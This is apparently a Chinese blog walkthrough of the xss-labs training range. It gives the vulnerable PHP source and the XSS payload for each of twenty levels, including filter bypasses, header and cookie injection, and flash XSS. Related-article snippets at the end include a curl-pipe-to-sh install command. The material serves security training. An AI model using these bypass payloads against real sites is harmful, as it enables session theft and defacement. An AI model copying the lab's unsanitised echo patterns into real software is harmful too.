xss靶场

xss-labs下载地址:GitHub - do0dl3/xss-labs: xss 跨站漏洞平台

xss常见触发标签:XSS跨站脚本攻击实例与防御策略-CSDN博客

level-1

        首先查看网页的源代码发现get传参的name的值test插入了html里头,还回显了payload的长度。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>//test在这里回显
<h3 align=center>payload的长度:4</h3></body>
</html>

输入:?name=<script>alert()</script>即可。//alert:js弹窗函数。

查看一下源代码:

//没有过滤,直接传参触发xss即可
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];//产参输入
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

level-2

和第一关一样,先注入一下试试:<script>alert()</script>,没有成功,查看页面源代码。

可以看到,第一个的特殊符号尖括号被实体化了,但是第二个没有。不过第二个被双引号闭合起来了,语句没有被执行,那么闭合两侧的双引号和尖括号即可。

输入:"><script>alert()</script><"

查看一下源代码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];        //下面这个htmlspcialchars()函数将参数给实体化了
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

level-3

和之前一样输入:<script>alert()</script>,没有成功,查看页面源代码。

可以看到,两个地方都被实体化了。查看源代码,发现都是htmlspcialchars()函数进行的实体化,而此函数只是对尖括号进行实体化,所以我们可以使用onfocus事件绕过,代码中是用的单引号,所以需要单引号闭合。

onfocus事件:onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行js代码。

输入:' onfocus=javascript:alert() '

输入完成后没有弹窗,再次点击一下输入框就可以触发。

level-4

查看页面源代码,发现这关用的是双引号。依然可以使用onfocus进行绕过。

输入:" onfocus=javascript:alert() "

查看一下源代码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);//本行和下一行的代码将两个尖括号删除了。
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

level-5

首先输入" onfocus=javascript:alert() ",查看页面源代码。

我们输入的on变成了o_n,这就过滤了onfocus方法。

查看一下源代码。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);//将字母转化为小写。
$str2=str_replace("<script","<scr_ipt",$str);//过滤了script
$str3=str_replace("on","o_n",$str2);//过滤了onfocus
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

有转化字母为小写的函数,所以,我们无法使用大小写绕过。这里我们使用a href方法。

a href方法:href的属性是 当<a>被点击时,会执行触发跳转。那么我们就可以触发执行一段js代码或者一段链接,这里插入一段js代码。

输入:"> <a href=javascript:alert()>xxx</a> <"

输入完成后点击xxx链接即可。

level-6

查看页面源代码,没有发现过滤了什么,输入关键词看看:onfocus <script> <a href=javascript:alert()>,再看源代码发现这几个都被过滤了。再加上大小写看看有没有被转化。输入:OnFocus <sCriPt> <a hReF=javascript:alert()>。

查看源代码:没有过滤大小写。

使用大小写绕过:

"> <sCript>alert()</sCript> <"
" Onfocus=javascript:alert() "
"> <a hRef=javascript:alert()>x</a> <" //三者选其一都可

查看源代码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);//过滤script
$str3=str_replace("on","o_n",$str2);//过滤onfocus
$str4=str_replace("src","sr_c",$str3);//过滤src
$str5=str_replace("data","da_ta",$str4);//过滤data
$str6=str_replace("href","hr_ef",$str5);//过滤ghref
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

level-7

和之前一样,输入关键词看看效果:" OnFocus <sCriPt> <a hReF=javascript:alert()>

查看源代码看看结果:如图:大写变成了小写,on,script,href,script这些关键词被删了。

被删除了,那么就用双拼写绕过即可,例如oonn,中间的on被删掉后依然是on。

输入:"> <a hrehreff=javasscriptcript:alert()>x</a> <"

level-8

本关看页面需要上传一个友情链接,先输入一个123看看,看到在input标签和href中有传到了输入的内容。

下来测试一下过滤情况,输入:" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>看一下结果。可以看到两个里面的尖括号和双引号都被实体化了。

这里需要使用到href的一个隐藏属性:href自动Unicode解码,我们可以插入一段js伪协议。

输入:javascript:alert()

使用在线工具进行Unicode编码,解码得:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

输入后点击友情链接即可。

level-9

先输入关键词看看过滤情况:" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

没有插入成功,看下源代码。

当输入语句没有http://时,strpos函数会返回false和false相等,此时会执行if语句,因此我们需要输入中有http://但是要注释掉,以免影响执行其他语句。

输入:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

level-10

输入关键词看看过滤情况," sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

查看页面源代码发现全部被实体化了,查看源代码。

还有一个隐藏的传参t_sort,过滤掉了尖括号,使用onfocus事件,因为输入框被隐藏,所以添加type="text"。

输入:?t_sort=" onfocus=javascript:alert() type="text

输入完成点击输入框即可。

level-11

查看页面源代码

发现<input>标签里面四个值都做了隐藏,不过第四个名为t_ref的<input>标签是http头referer的参数(就是由啥地址转跳到这里的,http头的referer会记录有),使用get和post传参输入检查一下前三个,会发现都上传失败了,所以我们使用BP抓包添加http头。

输入:Referer: " onfocus=javascript:alert() type="text

输入后点击输入框即可。

level-12

查看源代码。

根据源代码,这是user-agent头,使用BP修改UA头即可。修改为:" onfocus=javascript:alert() type="text

level-13

查看页面源代码。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="" type="hidden">//t_cook考虑到cookie值。
</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>

打开F12找到cookie值修改,这次使用" onclick=alert() type="text ,当然onfocus也可以:" onfocus=javacript:alert() type="text

level-14

本关是要跳转到一个网站,在那个网站进行注入,但是现在网站崩了,就没法打了,直接到15关。

level-15

ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

这里我们可以包含第一关,然后进行绕过。

输入:?src='/level1.php?name=<img src=1 onmouseover=alert()>'

level-16

可以看到,test被插入进了center标签中,故而不需要闭合,测试一下关键字:

?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106; 

发现这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化。/也被替换成了空格。使用<svg>标签。

输入:?keyword=<svg%0Aonload=alert(1)>

level-17

测试一下关键词发现使用了html转义,这里不需要闭合符号,传入的参数都出现在了embed标签上,打开后缀名为swf的文件(FLASH插件的文件,现在很多浏览器都不支持FLASH插件了)

embed标签:embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会没有显示的区域。

可以使用flash打开,如果不想下载,可以去源代码将xsfo01.swf改为index.png即可。

输入:?arg02= onclick=alert()

再点击一下图片即可。

level-18

和上一关一样,先改了一下后端的代码。只进行了实体化函数,和上一关基本一样。

输入:?arg02= onmousedown=alert()

level-19

最后几关都是flash xss。

输入:?arg01=version&arg02=<a href="javascript:alert()">here</a>

level-20

输入:?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/960744.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Python案例--100到200的素数

一、问题描述 素数&#xff08;Prime Number&#xff09;是指在大于1的自然数中&#xff0c;除了1和它本身以外不再有其他因数的数。判断一个数是否为素数是计算机科学和数学中的一个经典问题。本实例的目标是找出101到200之间的所有素数&#xff0c;并统计它们的数量。 二、…

JavaScript中的隐式类型转换

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

漏洞修复:Apache Tomcat 安全漏洞(CVE-2024-50379) | Apache Tomcat 安全漏洞(CVE-2024-52318)

文章目录 引言I Apache Tomcat 安全漏洞(CVE-2024-50379)漏洞描述修复建议升级Tomcat教程II Apache Tomcat 安全漏洞(CVE-2024-52318)漏洞描述修复建议III 安全警告引言 解决方案:升级到最新版Tomcat https://blog.csdn.net/z929118967/article/details/142934649 service in…

Git Bash 配置 zsh

博客食用更佳 博客链接 安装 zsh 安装 Zsh 安装 Oh-my-zsh github仓库 sh -c "$(curl -fsSL https://install.ohmyz.sh/)"让 zsh 成为 git bash 默认终端 vi ~/.bashrc写入&#xff1a; if [ -t 1 ]; thenexec zsh fisource ~/.bashrc再重启即可。 更换主题 …

具身智能体俯视全局的导航策略!TopV-Nav: 解锁多模态语言模型在零样本目标导航中的顶视空间推理潜力

作者&#xff1a;Linqing Zhong, Chen Gao, Zihan Ding, Yue Liao, Si Liu 单位&#xff1a;北京航空航天大学&#xff0c;新加坡国立大学&#xff0c;香港中文大学多模态实验室 论文标题&#xff1a;TopV-Nav: Unlocking the Top-View Spatial Reasoning Potential of MLLM …

python爬虫入门(一) - requests库与re库,一个简单的爬虫程序

目录 web请求与requests库 1. web请求 1.1 客户端渲染与服务端渲染 1.2 抓包 1.3 HTTP状态代码 2. requests库 2.1 requests模块的下载 2.2 发送请求头与请求参数 2.3 GET请求与POST请求 GET请求的例子&#xff1a; POST请求的例子&#xff1a; 3. 案例&#xff1a;…

思科交换机telnet配置案例

目录 1.telnet简述2.网络拓扑3.设备说明4.网络配置4.1 电脑PC ip设置4.2 网络交换机telnet配置 5.小结 1.telnet简述 Telnet是远程登录服务的一个协议&#xff0c;该协议定义了远程登录用户与服务器交互的方式。它允许用户在一台联网的计算机上登录到一个远程分时系统中&#…

【C++高并发服务器WebServer】-7:共享内存

本文目录 一、共享内存1.1 shmget函数1.2 shmat1.3 shmdt1.4 shmctl1.5 ftok1.6 共享内存和内存映射的关联1.7 小demo 二、共享内存操作命令 一、共享内存 共享内存允许两个或者多个进程共享物理内存的同一块区域&#xff08;通常被称为段&#xff09;。由于一个共享内存段会称…

【AI论文】Sigma:对查询、键和值进行差分缩放,以实现高效语言模型

摘要&#xff1a;我们推出了Sigma&#xff0c;这是一个专为系统领域设计的高效大型语言模型&#xff0c;其独特之处在于采用了包括DiffQKV注意力机制在内的新型架构&#xff0c;并在我们精心收集的系统领域数据上进行了预训练。DiffQKV注意力机制通过根据查询&#xff08;Q&…

Day27-【13003】短文,单链表应用代码举例

文章目录 单链表的应用概览查找单链表倒数第k个结点查找单链表的中间结点将单链表逆置 第二章真题检测 单链表的应用概览 查找单链表倒数第k个结点 本节给出单链表的4个应用示例。单链表结点的定义与本章第三节中的定义相同。为了方便&#xff0c;重新写出来。 #define TRUE …

java求职学习day18

常用的设计原则和设计模式 1 常用的设计原则&#xff08;记住&#xff09; 1.1 软件开发的流程 需求分析文档、概要设计文档、详细设计文档、编码和测试、安装和调试、维护和升级 1.2 常用的设计原则 &#xff08;1&#xff09;开闭原则&#xff08;Open Close Principle…

2025美赛美国大学生数学建模竞赛A题完整思路分析论文(43页)(含模型、可运行代码和运行结果)

2025美国大学生数学建模竞赛A题完整思路分析论文 目录 摘要 一、问题重述 二、 问题分析 三、模型假设 四、 模型建立与求解 4.1问题1 4.1.1问题1思路分析 4.1.2问题1模型建立 4.1.3问题1样例代码&#xff08;仅供参考&#xff09; 4.1.4问题1样例代码运行结果&…

UART ,IIC 和SPI三种总线协议

1.UART 1.1 简介 UART&#xff08;Universal Asynchronous Receiver/Transmitter&#xff09;即通用异步收发器。 常见的串行、异步通信总线&#xff0c;两条数据线Tx、Rx&#xff0c;实现全双工通信&#xff0c;常用于主机与外设的通信&#xff0c;点对点。 1.2 硬件连接 交叉…

IPhone14 Pro 设备详情

目录 产品宣传图内部图——后设备详细信息 产品宣传图 内部图——后 设备详细信息 信息收集于HubWeb.cn

海外问卷调查渠道查如何设置:最佳实践+示例

随着经济全球化和一体化进程的加速&#xff0c;企业间的竞争日益加剧&#xff0c;为了获得更大的市场份额&#xff0c;对企业和品牌而言&#xff0c;了解受众群体的的需求、偏好和痛点才是走向成功的关键。而海外问卷调查才是获得受众群体痛点的关键&#xff0c;制作海外问卷调…

如何跨互联网adb连接到远程手机-蓝牙电话集中维护

如何跨互联网adb连接到远程手机-蓝牙电话集中维护 --ADB连接专题 一、前言 随便找一个手机&#xff0c;安装一个App并简单设置一下&#xff0c;就可以跨互联网的ADB连接到这个手机&#xff0c;从而远程操控这个手机做各种操作。你敢相信吗&#xff1f;而这正是本篇想要描述的…

linux——进程树的概念和示例

一些程序进程运行后&#xff0c;会调用其他进程&#xff0c;这样就组成了一个进程树。 比如,在Windows XP的“运行”对话框中输入“cmd”启动命令行控制台&#xff0c;然后在命令行中输入“notepad”启动记事本&#xff0c;那么命令行控制台进程“cmd.exe”和记事本进程“note…

linux系统centos版本上安装mysql5.7

步骤 1: 安装 MySQL 5.7 添加 MySQL Yum Repository 首先&#xff0c;你需要添加 MySQL 的官方 Yum repository。打开终端并执行以下命令&#xff1a; sudo rpm -Uvh https://dev.mysql.com/get/mysql57-community-release-el7-11.noarch.rpm 这条命令会为 CentOS 7 添加 MySQL…

Cross-Resolution知识蒸馏论文学习

TPAMI 2024&#xff1a;Pixel Distillation: Cost-Flexible Distillation Across Image Sizes and Heterogeneous Networks 教师模型使用高分辨率输入进行学习&#xff0c;学生模型使用低分辨率输入进行学习 学生蒸馏损失&#xff1a;Lpkd和Lisrd Lpkd&#xff1a;任务损失lo…

java爬虫工具Jsoup学习

目录 前言 一、基本使用 二、爬取豆瓣电影的案例 三、Jsoup能做什么&#xff1f; 四、Jsoup相关概念 五、Jsoup获取文档 六、定位选择元素 七、获取数据 八、具体案例 前言 JSoup是一个用于处理HTML的Java库&#xff0c;它提供了一个非常方便类似于使用DOM&#xff0…